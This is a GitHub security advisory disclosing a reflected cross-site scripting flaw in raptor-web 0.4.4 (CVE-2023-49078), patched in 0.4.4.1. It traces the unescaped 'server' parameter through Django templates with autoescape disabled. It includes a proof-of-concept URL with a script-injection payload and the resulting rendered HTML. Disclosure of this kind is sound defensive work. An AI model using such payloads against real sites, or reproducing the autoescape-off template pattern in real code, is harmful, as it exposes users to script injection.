Skip to content

Cross-Site Scripting vulnerability in raptor-web 0.4.4

Moderate
zediious published GHSA-8r6g-fhh4-xhmq Nov 25, 2023

Package

No package listed

Affected versions

0.4.4

Patched versions

0.4.4.1

Description

Patched

This XSS vulnerability has been patched in v0.4.4.1

Thanks a ton to @ejedev for finding this and reporting it!

Summary

Starting in version 0.4.4 of raptor-web, it is possible to craft a malicious URL that will result in a reflected cross-site scripting vulnerability. A user controlled URL parameter is loaded into an internal template that has autoescape disabled.

Details

To show the flow of this vulnerability we will start off with a request made to /announcements?server=test

The base template is loaded, located here: https://github.com/zediious/raptor-web/blob/d53f46bed260ed23742a89e6a414228b75dab797/raptorWeb/templates/raptormc/base.html

It builds the following htmx object, which on load will automatically send a GET request to raptormc/api/html/announcements?server=test

<div hx-get="/raptormc/api/html/{{request.path|strip_slash}}{% if request.GET %}?{% for param in request.GET %}{{param}}={% get_param param %}{% endfor %}{% endif %}"
hx-trigger='load'
hx-target='#home'
hx-swap="innerHTML"
hx-indicator="#mainLoadingspinner">
</div>

The TemplateView for announcements is rendered here:

class Announcements(TemplateView):
"""
Page containing the last 30 announcements from Discord
"""
template_name: str = join(
TEMPLATE_DIR_RAPTORMC, 'defaultpages/announcements.html')
def get(self, request: HttpRequest, *args: Any, **kwargs: Any) -> HttpResponse:
if not DefaultPages.objects.get_or_create(pk=1)[0].announcements:
return HttpResponseRedirect('/404')
if request.headers.get('HX-Request') != "true":
return HttpResponseRedirect('/404')
return super().get(request, *args, **kwargs)
def get_context_data(self, **kwargs: dict[str, Any]) -> dict[str, Any]:
context: dict[str, Any] = super().get_context_data(**kwargs)
if self.request.GET:
context['opened_server_pk'] = self.request.GET.get('server')
return get_or_create_informative_text(
context = context,
informative_text_names = ["Announcements Information"])

The get_context_data method sets opened_server_pk equal to the URL parameter server.

context['opened_server_pk'] = self.request.GET.get('server')

This template is not accessible directly, and requires the header HX-Request to be set to true. This is done by the hx-get div loaded in the base.

The announcements template itself is located here: https://github.com/zediious/raptor-web/blob/2776281eb12fa04eca177bbfe92a4cfcd74ba391/raptorWeb/templates/raptormc/defaultpages/announcements.html

It notably sets {% autoescape off %} for the majority of the template:

The template attempts to build a second htmx object, making a call to the server_announcements_poll endpoint:

<div id="server_announcements"
hx-get="{% url 'gameservers:server_announcements_poll' %}{% if request.GET %}?server={{opened_server_pk}}{% endif %}"
hx-trigger="load"
hx-target="#server_announcements"
hx-swap="outerHTML"></div>
</div>

However, since there is no autoescape enabled, we are able to inject Javacript as we have full control over the opened_server_pk value being rendered. The original hx-get call from the base template will inject the results of this secondary template as innerHTML, rendering it for the user.

PoC

We'll make the following request to the server: /announcements?server=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C%2fscript%3E. When URL decoded, it looks like this:
/announcements?server="><script>alert("XSS")</script>

This results in the base template rendering an htmx object that looks like this:

          <div hx-get="/raptormc/api/html/announcements?server=&quot;&gt;&lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;"
               hx-trigger='load'
               hx-target='#home'
               hx-swap="innerHTML"
               hx-indicator="#mainLoadingspinner">
          </div>

Once the page loads, it makes a GET request to /raptormc/api/html/announcements?server=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E.

This request renders the announcements template, and includes an htmx object that looks like this:

      <div id="server_announcements"
           hx-get="/api/servers/html/server_announcements_poll/?server="><script>alert("XSS")</script>"
           hx-trigger="load"
           hx-target="#server_announcements"
           hx-swap="outerHTML"></div>

As we can see, we were able to escape from the hx-get attribute as the template does not have autoescape enabled. We injected a script object which is then returned all the way to the original base template and executed, causing a cross-site scripting vulnerability to occur.

The PoC url to test this is https://SITE.COM/announcements?server=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C%2fscript%3E

Impact

This is a cross-site scripting vulnerability that affects all deployments of raptor-web on version 0.4.4. Any victim who clicks on a malicious crafted link will be affected.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

CVE ID

CVE-2023-49078

Weaknesses

Credits